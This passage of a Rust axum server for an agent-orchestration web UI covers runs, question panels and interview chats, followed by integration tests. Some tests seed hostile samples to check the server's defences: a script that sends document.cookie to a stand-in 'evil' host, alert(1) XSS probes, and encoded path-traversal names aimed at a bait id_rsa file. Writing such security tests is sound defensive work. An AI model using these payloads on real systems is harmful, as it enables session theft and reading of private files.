let Ok(event) = Event::default().event("change").json_data(payload) else {
break;
};
if tx.send(event).await.is_err() {
break;
}
}
});
Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
.keep_alive(KeepAlive::new().interval(KEEPALIVE))
}
fn runs_revision(runs: &FsPath) -> u64 {
use std::hash::{Hash as _, Hasher as _};
let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
.into_iter()
.flatten()
.flatten()
.filter_map(|e| {
let path = e.path().join("run.json");
let mtime = path
.metadata()
.ok()?
.modified()
.ok()?
.duration_since(std::time::UNIX_EPOCH)
.ok()?
.as_millis() as u64;
let id = e.file_name().to_string_lossy().into_owned();
Some((id, mtime))
})
.collect();
if entries.is_empty() {
return 0;
}
entries.sort_unstable();
let mut hasher = std::hash::DefaultHasher::new();
for (id, mtime) in &entries {
id.hash(&mut hasher);
mtime.hash(&mut hasher);
}
let h = hasher.finish();
if h == 0 { 1 } else { h }
}
fn run_ids(runs: &FsPath) -> Vec<String> {
let mut ids: Vec<String> = std::fs::read_dir(runs)
.into_iter()
.flatten()
.flatten()
.filter(|e| e.path().join("run.json").is_file())
.map(|e| e.file_name().to_string_lossy().into_owned())
.collect();
ids.sort_unstable_by(|a, b| b.cmp(a));
ids
}
fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
let path = runs.join(id).join("run.json");
let body =
std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
let state: RunState =
serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
if state.schema != run::SCHEMA {
anyhow::bail!(
"run {} was written by a different magi (schema {}, this build speaks {})",
state.id,
state.schema,
run::SCHEMA
);
}
Ok(state)
}
#[must_use]
pub fn runs_unreadable(runs: &FsPath) -> usize {
run_ids(runs)
.into_iter()
.filter(|id| read_run(runs, id).is_err())
.count()
}
fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
if runs.join(id).join("run.json").is_file() {
return Ok(id.to_owned());
}
pick(run_ids(runs), id, "run")
}
fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
if queue.path_of(id).is_file() {
return Ok(id.to_owned());
}
pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
}
#[derive(Debug, Serialize)]
struct QuestionView {
#[serde(flatten)]
question: Question,
detail_md: Vec<md::Node>,
}
impl From<Question> for QuestionView {
fn from(question: Question) -> Self {
let base = md::ImageBase::QuestionPanel {
id: question.id.clone(),
};
Self {
detail_md: md::to_nodes(&question.detail, &base),
question,
}
}
}
async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
blocking(move || {
Ok(Json(
ui.questions
.list()
.into_iter()
.map(QuestionView::from)
.collect(),
))
})
.await
}
#[derive(Debug, Default, Deserialize)]
#[serde(default, deny_unknown_fields)]
struct NewAnswer {
choice: Option<String>,
text: Option<String>,
}
async fn question_answer(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
) -> ApiResult<Json<QuestionView>> {
let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
let answer = match (body.choice, body.text) {
(Some(c), None) => Answer::Choice(c),
(None, Some(t)) => Answer::Text(t),
(Some(_), Some(_)) => {
return Err(ApiError::bad_request(
"send either `choice` or `text`, not both",
));
}
(None, None) => {
return Err(ApiError::bad_request("send a `choice` or a `text`"));
}
};
blocking(move || {
let id = resolve_question(&ui.questions, &id)?;
let mut q = ui
.questions
.get(&id)
.map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
if !q.status.open() {
return Err(ApiError::conflict(format!(
"question {} is already {}",
q.short(),
q.status.as_str()
)));
}
q.answer(answer).map_err(ApiError::bad_request_from)?;
ui.questions.put(&mut q)?;
Ok(Json(QuestionView::from(q)))
})
.await
}
fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
if store.path_of(id).is_file() {
return Ok(id.to_owned());
}
pick(
store.list().into_iter().map(|q| q.id).collect(),
id,
"question",
)
}
async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
blocking(move || {
let id = resolve_question(&ui.questions, &id)?;
let Some(html) = ui.questions.panel_html(&id) else {
return Err(ApiError::not_found(format!("question {id} has no panel")));
};
Ok(panel_response(
"text/html; charset=utf-8",
false,
html.into_bytes(),
))
})
.await
}
async fn question_asset(
State(ui): State<Arc<Ui>>,
Path((id, name)): Path<(String, String)>,
) -> ApiResult<Response> {
if !crate::ask::valid_asset_name(&name) {
return Err(ApiError::bad_request(format!(
"`{name}` is not a usable asset name"
)));
}
blocking(move || {
let id = resolve_question(&ui.questions, &id)?;
let asset = ui
.questions
.panel_asset(&id, &name)
.map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
let Some(bytes) = asset else {
return Err(ApiError::not_found(format!(
"question {id} has no asset `{name}`"
)));
};
Ok(panel_response(
asset_content_type(&name),
is_svg(&name),
bytes,
))
})
.await
}
fn asset_content_type(name: &str) -> &'static str {
match extension(name).as_deref() {
Some("png") => "image/png",
Some("jpg" | "jpeg") => "image/jpeg",
Some("gif") => "image/gif",
Some("webp") => "image/webp",
Some("svg") => "image/svg+xml",
Some("css") => "text/css; charset=utf-8",
Some("txt") => "text/plain; charset=utf-8",
_ => "application/octet-stream",
}
}
fn is_svg(name: &str) -> bool {
extension(name).as_deref() == Some("svg")
}
fn extension(name: &str) -> Option<String> {
name.rsplit_once('.')
.map(|(_, ext)| ext.to_ascii_lowercase())
}
fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
let mut res = (
[
(header::CONTENT_TYPE, content_type),
(header::CONTENT_SECURITY_POLICY, PANEL_CSP),
(header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
(header::REFERRER_POLICY, "no-referrer"),
],
body,
)
.into_response();
if download {
res.headers_mut().insert(
header::CONTENT_DISPOSITION,
HeaderValue::from_static("attachment"),
);
}
res
}
#[derive(Debug, Serialize)]
struct ChatView {
#[serde(flatten)]
chat: Chat,
turn_bodies_md: Vec<Vec<md::Node>>,
draft_md: Option<Vec<md::Node>>,
}
impl From<Chat> for ChatView {
fn from(chat: Chat) -> Self {
let turn_bodies_md = chat
.turns
.iter()
.map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
.collect();
let draft_md = chat
.draft
.as_deref()
.map(|draft| md::to_nodes(draft, &md::ImageBase::None));
Self {
turn_bodies_md,
draft_md,
chat,
}
}
}
async fn chats_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<ChatView>>> {
blocking(move || {
Ok(Json(
ui.chats.list().into_iter().map(ChatView::from).collect(),
))
})
.await
}
async fn chat_detail(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<Json<ChatView>> {
blocking(move || {
let id = resolve_chat(&ui.chats, &id)?;
Ok(Json(ChatView::from(ui.chats.get(&id)?)))
})
.await
}
#[derive(Debug, Default, Deserialize)]
#[serde(default)]
struct NewChat {
idea: String,
agent: Option<String>,
repo: Option<PathBuf>,
from: Option<String>,
}
async fn chat_post(
State(ui): State<Arc<Ui>>,
body: std::result::Result<Json<NewChat>, JsonRejection>,
) -> ApiResult<impl IntoResponse> {
let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
if body.idea.trim().is_empty() {
return Err(ApiError::bad_request(
"an interview needs something to interview about",
));
}
let from = {
let ui = Arc::clone(&ui);
let from_id = body.from.clone();
blocking(move || match from_id {
None => Ok(None),
Some(id) => {
let resolved = resolve_chat(&ui.chats, &id)?;
Ok(Some(ui.chats.get(&resolved)?))
}
})
.await?
};
let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
let cfg = config_for(&repo).await?;
let chat = chat::start(
&ui.chats,
&cfg,
repo,
&body.idea,
body.agent.as_deref(),
from.as_ref(),
)
.await
.map_err(ApiError::from)?;
Ok((StatusCode::CREATED, Json(ChatView::from(chat))))
}
#[derive(Debug, Default, Deserialize)]
#[serde(default, deny_unknown_fields)]
struct NewTurn {
text: String,
}
async fn chat_say(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
body: std::result::Result<Json<NewTurn>, JsonRejection>,
) -> ApiResult<(StatusCode, Json<ChatView>)> {
let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
if body.text.trim().is_empty() {
return Err(ApiError::bad_request("say something"));
}
let id = {
let ui = Arc::clone(&ui);
let asked = id.clone();
blocking(move || resolve_chat(&ui.chats, &asked)).await?
};
let _turn = ui.begin_turn(&id)?;
let (chat, cfg) = {
let ui = Arc::clone(&ui);
let id = id.clone();
blocking(move || {
let chat = ui.chats.get(&id)?;
let (cfg, _) = Config::discover(&chat.repo, None)?;
Ok((chat, cfg))
})
.await?
};
let chats = ui.chats.clone();
let text = {
let mut chat = chat.clone();
let chats = chats.clone();
let said = body.text.clone();
blocking(move || Ok(chat::record(&mut chat, &chats, &said)?)).await?
};
let mut chat = {
let ui = Arc::clone(&ui);
let id = id.clone();
blocking(move || Ok(ui.chats.get(&id)?)).await?
};
let queued = chat.clone();
tokio::spawn(async move {
let _turn = _turn;
if let Err(e) = chat::respond(&mut chat, &chats, &cfg, &text).await {
tracing::warn!("chat {id} turn failed: {e:#}");
}
});
Ok((StatusCode::ACCEPTED, Json(ChatView::from(queued))))
}
#[derive(Debug, Default, Deserialize)]
#[serde(default, deny_unknown_fields)]
struct FileDraft {
priority: i32,
}
async fn chat_file(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
body: std::result::Result<Json<FileDraft>, JsonRejection>,
) -> ApiResult<Json<serde_json::Value>> {
let body = match body {
Ok(Json(body)) => body,
Err(JsonRejection::MissingJsonContentType(_)) => FileDraft::default(),
Err(e) => return Err(ApiError::bad_request(e.body_text())),
};
blocking(move || {
let id = resolve_chat(&ui.chats, &id)?;
let mut chat = ui.chats.get(&id)?;
if let Err(problems) = chat::draft_problems(&chat) {
return Err(ApiError::bad_request_with(
"the draft is not fileable yet",
problems,
));
}
let task = chat::file_draft(&mut chat, &ui.chats, &ui.queue, body.priority)?;
Ok(Json(serde_json::json!({ "task": task })))
})
.await
}
fn resolve_chat(store: &Chats, id: &str) -> ApiResult<String> {
pick(store.list().into_iter().map(|c| c.id).collect(), id, "chat")
}
async fn config_for(repo: &FsPath) -> ApiResult<Config> {
let repo = repo.to_path_buf();
blocking(move || {
let (cfg, _) = Config::discover(&repo, None)?;
Ok(cfg)
})
.await
}
fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
let mut hits = ids
.into_iter()
.filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
match (hits.next(), hits.next()) {
(Some(one), None) => Ok(one),
(None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
(Some(a), Some(b)) => Err(ApiError::bad_request(format!(
"`{prefix}` matches more than one {what}, including {a} and {b}"
))),
}
}
#[cfg(test)]
mod tests {
use pretty_assertions::assert_eq;
use serde_json::Value;
use tempfile::TempDir;
use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
use super::*;
use crate::config::Config;
use crate::queue::{Source, TaskStatus};
struct Fixture {
home: TempDir,
addr: SocketAddr,
}
impl Fixture {
async fn start() -> Self {
Self::with_loop(launch_idle).await
}
async fn with_loop(launch: Launch) -> Self {
let home = TempDir::new().expect("temp home");
let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
Self { home, addr }
}
async fn with_repo(repo: PathBuf) -> Self {
let home = TempDir::new().expect("temp home");
let addr = Self::serve(home.path(), repo, launch_idle).await;
Self { home, addr }
}
async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
let queue = Queue::at(home.join("queue"));
let runs = home.join("runs");
std::fs::create_dir_all(&runs).expect("runs dir");
let ui = Ui::new(
queue,
Questions::at(home.join("questions")),
Chats::at(home.join("chats")),
runs,
home.to_path_buf(),
repo,
)
.with_launch(launch);
let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
.await
.expect("bind loopback");
let addr = listener.local_addr().expect("local addr");
tokio::spawn(async move {
let _ = axum::serve(listener, ui.router()).await;
});
addr
}
fn queue(&self) -> Queue {
Queue::at(self.home.path().join("queue"))
}
fn questions(&self) -> Questions {
Questions::at(self.home.path().join("questions"))
}
fn chats(&self) -> Chats {
Chats::at(self.home.path().join("chats"))
}
fn runs(&self) -> PathBuf {
self.home.path().join("runs")
}
async fn get(&self, path: &str) -> Res {
request(self.addr, "GET", path, None).await
}
async fn head(&self, path: &str) -> Res {
request(self.addr, "HEAD", path, None).await
}
async fn post(&self, path: &str, body: Option<&str>) -> Res {
request(self.addr, "POST", path, body).await
}
async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
request_with(self.addr, "GET", path, None, extra).await
}
async fn delete(&self, path: &str) -> Res {
request(self.addr, "DELETE", path, None).await
}
}
struct Res {
status: u16,
headers: String,
head: String,
body: String,
bytes: Vec<u8>,
}
impl Res {
fn json(&self) -> Value {
serde_json::from_str(&self.body)
.unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
}
fn header(&self, name: &str) -> Option<&str> {
self.head.lines().find_map(|line| {
let (key, value) = line.split_once(':')?;
key.trim()
.eq_ignore_ascii_case(name)
.then(|| value.trim_start().trim_end_matches('\r'))
})
}
}
async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
request_with(addr, method, path, body, &[]).await
}
async fn request_with(
addr: SocketAddr,
method: &str,
path: &str,
body: Option<&str>,
extra: &[(&str, &str)],
) -> Res {
let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
for (name, value) in extra {
head.push_str(&format!("{name}: {value}\r\n"));
}
if let Some(body) = body {
head.push_str("Content-Type: application/json\r\n");
head.push_str(&format!("Content-Length: {}\r\n", body.len()));
}
head.push_str("\r\n");
if let Some(body) = body {
head.push_str(body);
}
let mut socket = tokio::net::TcpStream::connect(addr)
.await
.expect("connect to the test server");
socket
.write_all(head.as_bytes())
.await
.expect("write request");
let mut raw = Vec::new();
socket.read_to_end(&mut raw).await.expect("read response");
let split = raw
.windows(4)
.position(|w| w == b"\r\n\r\n")
.expect("a header block");
let head = String::from_utf8_lossy(&raw[..split]).into_owned();
let bytes = raw[split + 4..].to_vec();
let status = head
.lines()
.next()
.and_then(|line| line.split_whitespace().nth(1))
.and_then(|code| code.parse().ok())
.expect("a status line");
Res {
status,
headers: head.to_lowercase(),
head,
body: String::from_utf8_lossy(&bytes).into_owned(),
bytes,
}
}
fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
let mut state = RunState::new(
PathBuf::from("/repo/magi"),
"main".to_owned(),
"0123456789abcdef".to_owned(),
"Add a web UI\n\nMobile first.".to_owned(),
Config::default(),
);
state.id = id.to_owned();
state.status = status;
let dir = runs.join(id);
std::fs::create_dir_all(&dir).expect("run dir");
std::fs::write(
dir.join("run.json"),
serde_json::to_string_pretty(&state).expect("serialize run"),
)
.expect("write run.json");
}
fn write_daemon(home: &FsPath, updated_at: Timestamp) {
let body = serde_json::json!({
"schema": 1,
"pid": 4242,
"started_at": Timestamp::now().to_string(),
"updated_at": updated_at.to_string(),
"idle": false,
"current": { "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" },
"completed": 7,
"polls": 143,
});
std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
}
fn launch_idle(
_opts: daemon::Opts,
stop: daemon::Stop,
) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
Box::pin(async move {
while !stop.stopped() {
tokio::time::sleep(Duration::from_millis(2)).await;
}
Ok(())
})
}
fn launch_broken(
_opts: daemon::Opts,
_stop: daemon::Stop,
) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
Box::pin(async {
Err(anyhow::anyhow!(
"publish the daemon status file: read-only file system"
))
})
}
static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
fn launch_knocking_on_the_way_out(
_opts: daemon::Opts,
stop: daemon::Stop,
) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
Box::pin(async move {
while !stop.stopped() {
tokio::time::sleep(Duration::from_millis(2)).await;
}
let addr = PARK_KNOCK
.lock()
.expect("park knock")
.expect("the test set an address");
let heard = request(addr, "GET", "/api/health", None).await.status;
*PARK_HEARD.lock().expect("park heard") = Some(heard);
Ok(())
})
}
async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
for _ in 0..200 {
let view = fx.get("/api/loop").await.json();
if want(&view) {
return view;
}
tokio::time::sleep(Duration::from_millis(10)).await;
}
panic!(
"the loop never settled: {}",
fx.get("/api/loop").await.json()
);
}
fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
let store = fx.questions();
let mut q = Question::new(
"20260902-000000-beef".to_owned(),
"implement".to_owned(),
"impl-A".to_owned(),
summary.to_owned(),
"because it matters".to_owned(),
choices.iter().map(|c| (*c).to_owned()).collect(),
);
store.put(&mut q).expect("put question");
q.id
}
fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
let store = fx.questions();
let mut q = Question::new(
"20260902-000000-beef".to_owned(),
"land".to_owned(),
"fix".to_owned(),
"Merge this?".to_owned(),
"the diff is in the panel".to_owned(),
vec!["merge".to_owned(), "hold".to_owned()],
);
let staging = fx.home.path().join("staging");
std::fs::create_dir_all(&staging).expect("staging dir");
let sources: Vec<PathBuf> = assets
.iter()
.map(|(name, bytes)| {
let path = staging.join(name);
std::fs::write(&path, bytes).expect("write staged asset");
path
})
.collect();
store
.put_panel(&mut q, html, &sources)
.expect("write the panel");
store.put(&mut q).expect("put question");
q.id
}
fn interview(fx: &Fixture, id: &str, status: &str, draft: Option<&str>) -> String {
let store = fx.chats();
std::fs::create_dir_all(store.root()).expect("chats dir");
let seat = serde_json::to_value(crate::agent::SeatState::new("plan", "sonnet", 7))
.expect("serialize a seat");
let body = serde_json::json!({
"schema": 1,
"id": id,
"repo": "/repo/magi",
"agent": "sonnet",
"status": status,
"turns": [
{ "who": "operator", "body": "rework the config loader",
"at": Timestamp::now().to_string() },
{ "who": "agent", "body": "Which part is hurting?",
"at": Timestamp::now().to_string() },
],
"draft": draft,
"task": Value::Null,
"created_at": Timestamp::now().to_string(),
"updated_at": Timestamp::now().to_string(),
"seat": seat,
});
std::fs::write(store.path_of(id), body.to_string()).expect("write the chat");
store.get(id).expect("the seeded chat has to be readable");
id.to_owned()
}
fn good_draft() -> String {
"# Rework the config loader\n\n\
## Why\n\n\
It re-reads `magi.toml` on every lookup, so a run that asks for the \
roster four hundred times pays four hundred parses of the same file.\n\n\
## What\n\n\
Load the layers once when the run starts and hand the merged value \
around. Nothing about the file format changes.\n\n\
## Acceptance criteria\n\n\
- `Config::discover` is called exactly once per run.\n\
- `cargo test` passes with no change to any existing assertion.\n"
.to_owned()
}
#[tokio::test]
async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
let fx = Fixture::start().await;
let id = panel(
&fx,
"<h1>Merge?</h1><img src=\"diff.svg\">",
&[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
);
for path in [
format!("/api/questions/{id}/panel"),
format!("/api/questions/{id}/asset/diff.svg"),
] {
let res = fx.get(&path).await;
assert_eq!(res.status, 200, "{path}: {}", res.body);
assert_eq!(
res.header("content-security-policy"),
Some(
"default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
font-src data:; base-uri 'none'; form-action 'none'; \
frame-ancestors 'self'"
),
"{path} is the only thing between a hostile panel and the tailnet"
);
assert_eq!(
res.header("x-content-type-options"),
Some("nosniff"),
"{path}: a browser must not re-decide the type we sent"
);
assert_eq!(
res.header("referrer-policy"),
Some("no-referrer"),
"{path}: a panel must not leak the question id off the machine"
);
let pre = fx.head(&path).await;
assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
assert_eq!(
pre.header("content-security-policy"),
res.header("content-security-policy"),
"{path}: the preflight carries the same policy"
);
assert_eq!(
pre.header("content-type"),
res.header("content-type"),
"{path}: the preflight carries the same type"
);
}
}
#[tokio::test]
async fn a_panel_reaches_the_browser_byte_for_byte() {
let fx = Fixture::start().await;
let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
let id = panel(&fx, html, &[]);
let res = fx.get(&format!("/api/questions/{id}/panel")).await;
assert_eq!(res.status, 200);
assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
assert_eq!(
res.header("content-disposition"),
None,
"the panel itself is rendered in the frame, not downloaded"
);
}
#[tokio::test]
async fn an_svg_asset_is_a_download_and_a_png_is_not() {
let fx = Fixture::start().await;
let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
let id = panel(
&fx,
"<img src=\"diff.svg\"><img src=\"shot.png\">",
&[("diff.svg", svg), ("shot.png", png)],
);
let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
assert_eq!(as_svg.status, 200);
assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
assert_eq!(as_png.status, 200);
assert_eq!(as_png.header("content-type"), Some("image/png"));
assert_eq!(
as_png.header("content-disposition"),
None,
"a raster image has no execution surface, so tapping it still shows it"
);
assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
}
#[tokio::test]
async fn an_html_asset_is_never_served_as_html() {
let fx = Fixture::start().await;
let id = panel(
&fx,
"<p>see the notes</p>",
&[
(
"notes.html",
b"<script>fetch('http://evil/'+document.cookie)</script>",
),
("hook.js", b"fetch('http://evil/')"),
("data.json", b"{}"),
("HEADLINE.TXT", b"plain"),
],
);
for name in ["notes.html", "hook.js", "data.json"] {
let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
assert_eq!(res.status, 200, "{name}: {}", res.body);
assert_eq!(
res.header("content-type"),
Some("application/octet-stream"),
"{name} must not be a type the browser will execute or render"
);
}
let txt = fx
.get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
.await;
assert_eq!(
txt.header("content-type"),
Some("text/plain; charset=utf-8")
);
}
#[tokio::test]
async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
let fx = Fixture::start().await;
let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
for encoded in [
"%2e%2e%2fid_rsa",
"..%2fid_rsa",
"..%5cid_rsa",
"%2e%2e%5cid_rsa",
"diff%00.svg",
"..",
".hidden",
"%2e%2e%2f%2e%2e%2fid_rsa",
] {
let res = fx
.get(&format!("/api/questions/{id}/asset/{encoded}"))
.await;
assert_eq!(
res.status, 400,
"`{encoded}` has to be refused by name, not looked up: {}",
res.body
);
assert!(res.json()["error"].is_string(), "{}", res.body);
}
for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
let res = fx
.get(&format!("/api/questions/{id}/asset/{literal}"))
.await;
assert_eq!(
res.status, 404,
"`{literal}` must not match the asset route at all: {}",
res.body
);
}
}
#[tokio::test]
async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
let fx = Fixture::start().await;
let plain = ask(&fx, "Which backend?", &["SQLite"]);
let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
assert_eq!(none.status, 404, "{}", none.body);
assert!(none.json()["error"].is_string(), "{}", none.body);
assert_eq!(
fx.head(&format!("/api/questions/{plain}/panel"))
.await
.status,
404,
"the preflight is the only way the client can learn this"
);
let missing = fx
.get(&format!("/api/questions/{with_panel}/asset/absent.png"))
.await;
assert_eq!(missing.status, 404, "{}", missing.body);
assert!(missing.json()["error"].is_string(), "{}", missing.body);
assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
assert_eq!(
fx.get("/api/questions/nope/asset/diff.svg").await.status,
404
);
}
#[tokio::test]
async fn the_chat_list_is_open_first_and_carries_the_whole_transcript() {
let fx = Fixture::start().await;
assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
interview(&fx, "20260903-014455-old1", "filed", Some(&good_draft()));
interview(&fx, "20260903-014456-open", "open", None);
let listed = fx.get("/api/chats").await;
assert_eq!(listed.status, 200, "{}", listed.body);
let chats = listed.json();
assert_eq!(chats.as_array().map(Vec::len), Some(2));
assert_eq!(
chats[0]["id"], "20260903-014456-open",
"an unfinished interview is what the operator came back for: {chats}"
);
assert_eq!(chats[0]["status"], "open");
assert_eq!(chats[0]["turns"][0]["who"], "operator");
assert_eq!(chats[0]["turns"][1]["body"], "Which part is hurting?");
assert_eq!(chats[1]["status"], "filed");
assert_eq!(fx.get("/api/health").await.json()["chats_open"], 1);
}
#[tokio::test]
async fn one_interview_is_readable_by_short_id_and_an_unknown_one_is_a_404() {
let fx = Fixture::start().await;
let id = interview(&fx, "20260903-014455-ab12", "open", None);
let full = fx.get(&format!("/api/chats/{id}")).await;
assert_eq!(full.status, 200, "{}", full.body);
assert_eq!(full.json()["id"], id);
assert_eq!(full.json()["repo"], "/repo/magi");
let short = fx.get("/api/chats/ab12").await;
assert_eq!(short.status, 200, "{}", short.body);
assert_eq!(short.json()["id"], id);
let missing = fx.get("/api/chats/nosuchchat").await;
assert_eq!(missing.status, 404, "{}", missing.body);
assert!(
missing.json()["error"]
.as_str()
.is_some_and(|e| e.contains("chat")),
"the error names what was not found: {}",
missing.body
);
}
#[tokio::test]
async fn filing_a_bad_draft_reports_every_problem_at_once() {
let fx = Fixture::start().await;
let id = interview(&fx, "20260903-014455-ab12", "open", Some("do the thing"));
let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
assert_eq!(res.status, 400, "{}", res.body);
let problems = res.json()["problems"].clone();
let problems = problems.as_array().expect("an array of problems");
assert!(
problems.len() > 1,
"one round trip has to be enough to fix the draft: {}",
res.body
);
assert!(problems.iter().all(|p| p.is_string()), "{}", res.body);
assert!(res.json()["error"].is_string(), "{}", res.body);
assert!(
fx.queue().list().is_empty(),
"a refused draft must not reach the queue"
);
let empty = interview(&fx, "20260903-014456-cd34", "open", None);
let res = fx.post(&format!("/api/chats/{empty}/file"), None).await;
assert_eq!(res.status, 400, "{}", res.body);
assert_eq!(
res.json()["problems"].as_array().map(Vec::len),
Some(1),
"{}",
res.body
);
}
#[tokio::test]
async fn filing_a_good_draft_queues_it_and_answers_with_the_task_id() {
let fx = Fixture::start().await;
let draft = good_draft();
let id = interview(&fx, "20260903-014455-ab12", "open", Some(&draft));
let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
assert_eq!(res.status, 200, "{}", res.body);
let task = res.json()["task"]
.as_str()
.unwrap_or_else(|| panic!("a task id: {}", res.body))
.to_owned();
let queued = fx.queue().get(&task).expect("the task is on disk");
assert_eq!(
queued.instruction, draft,
"the draft reaches the graph verbatim"
);
assert_eq!(queued.repo, PathBuf::from("/repo/magi"));
assert_eq!(
fx.get("/api/queue").await.json()[0]["id"],
task,
"the filed task is the listed one"
);
let after = fx.get(&format!("/api/chats/{id}")).await.json();
assert_eq!(after["task"], task);
assert_eq!(after["status"], "filed");
assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
}
#[tokio::test]
async fn a_second_turn_on_a_busy_chat_is_refused_rather_than_interleaved() {
let fx = Fixture::start().await;
let id = interview(&fx, "20260903-014455-ab12", "open", None);
let ui = Ui::new(
fx.queue(),
fx.questions(),
fx.chats(),
fx.runs(),
fx.home.path().to_path_buf(),
PathBuf::from("/repo/magi"),
);
let first = ui.begin_turn(&id).expect("the first turn claims the chat");
let second = ui.begin_turn(&id).expect_err("the second must be refused");
assert_eq!(
second.status,
StatusCode::CONFLICT,
"a double tap on a slow link must not append two half-turns"
);
drop(first);
assert!(
ui.begin_turn(&id).is_ok(),
"the slot has to come back on its own"
);
}
#[tokio::test]
async fn a_turn_with_nothing_in_it_never_reaches_an_agent() {
let fx = Fixture::start().await;
let id = interview(&fx, "20260903-014455-ab12", "open", None);
for body in [r#"{"text":" \n "}"#, r#"{}"#] {
let res = fx.post(&format!("/api/chats/{id}/say"), Some(body)).await;
assert_eq!(res.status, 400, "{body}: {}", res.body);
}
let res = fx.post("/api/chats", Some(r#"{"idea":" "}"#)).await;
assert_eq!(res.status, 400, "{}", res.body);
assert_eq!(
fx.get(&format!("/api/chats/{id}")).await.json()["turns"]
.as_array()
.map(Vec::len),
Some(2),
"nothing above may have appended a turn"
);
}
#[tokio::test]
async fn a_run_with_an_open_question_reads_as_waiting() {
let fx = Fixture::start().await;
let run = "20260902-000000-beef".to_owned();
write_run(&fx.runs(), &run, RunStatus::Implementing);
let before = fx.get("/api/runs").await.json();
assert_eq!(before[0]["waiting"], false, "{before}");
let store = fx.questions();
let mut q = Question::new(
run.clone(),
"implement".to_owned(),
"impl-A".to_owned(),
"Which backend?".to_owned(),
String::new(),
vec!["SQLite".to_owned()],
);
store.put(&mut q).expect("put");
let during = fx.get("/api/runs").await.json();
assert_eq!(during[0]["waiting"], true, "{during}");
q.answer(Answer::Choice("SQLite".to_owned()))
.expect("answer");
store.put(&mut q).expect("put");
let after = fx.get("/api/runs").await.json();
assert_eq!(after[0]["waiting"], false, "{after}");
}
#[tokio::test]
async fn an_open_question_is_listed_and_counted_by_health() {
